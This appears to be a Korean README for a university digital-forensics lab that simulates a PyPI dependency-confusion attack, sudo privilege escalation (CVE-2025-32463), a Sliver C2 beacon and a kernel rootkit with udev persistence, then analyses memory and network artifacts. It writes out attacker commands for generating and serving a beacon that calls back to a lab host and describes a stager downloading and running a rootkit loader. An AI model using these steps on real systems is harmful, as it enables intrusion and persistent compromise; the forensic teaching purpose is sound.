
Python 의존성 혼동 공격, sudo 권한 상승 (CVE-2025-32463) 및 루트킷 기반 지속성의 종단간 시뮬레이션 - 전체 메모리 및 네트워크 포렌식 분석 포함.
이 프로젝트는 Technische Hochschule Deggendorf의 디지털 포렌식(Digitale Forensik) 과정의 일환으로 개발되었습니다.
다음을 포함하는 전체 포렌식 조사 및 공격 시뮬레이션을 보여줍니다:
악성 PyPI 패키지를 사용한 Python 종속성 혼동 공격
취약한 sudo 버전(CVE-2025-32463)을 통한 권한 상승
Sliver C2 비콘 배포
커널 모듈 로딩, 시스템 콜 후킹, udev 기반 지속성을 갖춘 커스텀 루트킷
Volatility, NetworkMiner, 수동 리버싱과 같은 도구를 사용한 메모리 및 네트워크 아티팩트의 완전한 분석
이 저장소에는 공격과 포렌식 조사 모두를 재현하기 위한 스크립트, 설정 지침, 아티팩트 및 상세 분석 단계가 포함되어 있습니다.
shell) 설정
shell 바이너리 리버싱
CVE-2025-32463
NVD 세부 정보
PoC GitHub
[!NOTE]
취약한 Sudo 버전(chroot 지원 포함 -privesc/setup.sh참조)을 설치해야 합니다.
sequenceDiagram autonumber participant Attacker participant PyPI participant IntDep as Internal Dep Server participant Dev as Developer participant C2 as C2 Server
Attacker->>PyPI: Publish package with version v1.0.3
Dev->>IntDep: pip install
IntDep-->>Dev: Returns v1.0.1
Dev->>PyPI: Fallback pip install package==v1.0.3
PyPI-->>Dev: Returns malicious v1.0.3 (stager)
Dev->>Dev: Executes stager (package_evil)
Dev->>C2: Beacon/Sliver implant calls home
Note right of C2: Attacker now has RCE
Attacker->>Dev: Enumerates sudo version (1.9.16p2)
Attacker->>Dev: Runs CVE-2025-32463 exploit
Note right of Dev: PE to root
Dev->>Dev: Downloads & runs rootkit loader binary
Dev->>Dev: Loader installs kernel module & configures udev rule
Dev->>Dev: Schedules reboot
Note right of Dev: Attacker established persistence
Dev->>Dev: System reboots
Dev->>Dev: Udev loads kernel module on boot
Dev->>C2: Kernel-stage beacon calls C2
# 아티팩트 생성
모든 아티팩트는 수동으로 생성됩니다. 두 대의 머신을 사용합니다:
- **공격자 머신** (Kali Linux)
- **개발자 머신** (Ubuntu)
세 가지 아티팩트를 생성합니다:
- **PCAP** (재부팅 전)
- **메모리 덤프** (재부팅 후)
## 메모리 덤프 생성
[VirtualBox 메모리 덤프하는 방법](https://www.ired.team/miscellaneous-reversing-forensics/dump-virtual-box-memory)
호스트 시스템에서:```shell
vboxmanage list vms
"linux-root-kit_default_1752261916398_20346" {c2d4b5bc-d87f-4dcb-af01-85b78c163fef}
virtualboxvm --startvm "linux-root-kit_default_1752261916398_20346" --dbg
인터페이스 --> 디버그로 이동 디버그 콘솔 (VMMR0> prompt)에서:```shell .pgmphystofile 'dumpmem_linux_root_kit'
## Ubuntu에서 네트워크 덤프 준비
개발자 시뮬레이션 전에 시작하십시오. `! port 22`는 vagrant ssh 연결을 로그에 기록하지 않는 데 유용합니다.```shell
sudo tcpdump -w output.pcap ! port 22
shell)vagrant up
이 작업은 시간이 걸릴 수 있습니다 --> Bento로 빌드된 전체 VM을 다운로드합니다.
## 2. VM이 가동되면, SSH로 접속하십시오: ```shell
vagrant ssh
sudo bash /vagrant/privesc/setup.sh sudo apt install python3.12-venv
## 4. 사용자 공간 로더 바이너리(shell) 빌드:
`make` 파일을 실행하여 사용자 공간 바이너리 `shell`을 빌드할 수도 있습니다. 이것이 가장 쉬운 방법입니다. 그렇지 않으면 먼저 올바른 헤더를 설치해야 합니다 :P.
## 5. `shell`을 Kali로 전송하여 나중에 거기에서 제공합니다.
# Kali 설정 (192.168.56.101)
## 1. Sliver 서버 시작 ```shell
sliver

generate beacon --os linux --format elf --arch amd64 --http 192.168.56.101

## 3. 비콘 이름 변경 및 제공 ```shell
mv INTERNATIONAL_DETENTION lilux
python3 -m http.server 9001
http -l 80 -L 0.0.0.0
# 개발자 시뮬레이션
## 1. PoC 클론하기
이 저장소는 종속성 혼동(dependency-confusion)에 취약한 구성을 가진 어떤 저장소든 될 수 있습니다 :D. ```
git clone https://github.com/IC3-512/dependency-confusion-attack.git
python3 -m venv .venv source .venv/bin/activate
## 3. 의존성 설치 ```
pip install --upgrade --force-reinstall --no-cache-dir -r requirements.txt --verbose
python3 app.py
이렇게 하면 악성 패키지가 시작되어, 비콘을 로드하고 실행합니다.
# 공격자 시뮬레이션
_(Bad opsec xD)_
## 1. 비콘을 기다리고 sudo 버전을 확인하세요:

 ```
sudo -V
exploit.sh는 pr0v3rbs (Github 링크)에서 가져온 것으로 sudo를 대상으로 합니다.
shell 바이너리는 Ubuntu 프로비저닝 중 이전 단계에서 생성된 것입니다.